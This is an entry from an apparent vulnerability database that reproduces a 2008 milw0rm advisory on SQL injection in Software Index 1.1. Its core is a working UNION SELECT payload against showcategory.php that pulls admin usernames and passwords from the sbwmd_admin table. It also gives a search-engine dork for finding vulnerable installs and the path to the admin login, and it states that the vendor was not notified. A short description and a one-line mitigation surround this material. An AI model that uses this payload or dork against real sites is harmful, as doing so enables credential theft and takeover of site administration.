Software Index 1.1 SQL Injection Vulnerbilitys

vendor:

Software Index

by:

t0pP8uZz & xprog

7.5

CVSS

HIGH

SQL Injection

CWE

Product Name: Software Index

Affected Version From: 1.1

Affected Version To: 1.1

Patch Exists: NO

Related CWE: N/A

CPE: a:turnkeyzone:software_index:1.1

Metasploit: N/A

Other Scripts: N/A

Tags: N/A

CVSS Metrics: N/A

Nuclei References: N/A

Nuclei Metadata: N/A

Platforms Tested: N/A

2008

Software Index 1.1 SQL Injection Vulnerbilitys

Software Index 1.1 is vulnerable due to multiple insecure mysql querys. An attacker can exploit this vulnerability by sending a specially crafted SQL query to the vulnerable script. This can allow the attacker to gain access to the admin panel and execute arbitrary code.

Mitigation:

Ensure that user input is properly sanitized and validated before being used in SQL queries.

Source

Exploit-DB raw data:

--==+================================================================================+==--
--==+		       Software Index 1.1 SQL Injection Vulnerbilitys	             +==--
--==+================================================================================+==--



Discovered By: t0pP8uZz & xprog
Discovered On: 6 April 2008

Script Download: http://www.turnkeyzone.com

DORK: inurl:"add_soft.php"

Vendor Has Not Been Notified!



DESCRIPTION: 
Software Index 1.1 is vulnerable due to multiple insecure mysql querys.



SQL Injection:
http://site.com/showcategory.php?cid=-1/**/UNION/**/ALL/**/SELECT/**/1,concat(0x3C666F6E7420636F6C6F723D22726564223E,admin_name,0x3a,pwd,0x3C2F666F6E743E),3,4,5/**/FROM/**/sbwmd_admin/*



NOTE/TIP: 
admin login is at /siteadmin/



GREETZ: milw0rm.com, h4ck-y0u.org, CipherCrew !



--==+================================================================================+==--
--==+		       Software Index 1.1 SQL Injection Vulnerbilitys	             +==--
--==+================================================================================+==--

# milw0rm.com [2008-04-05]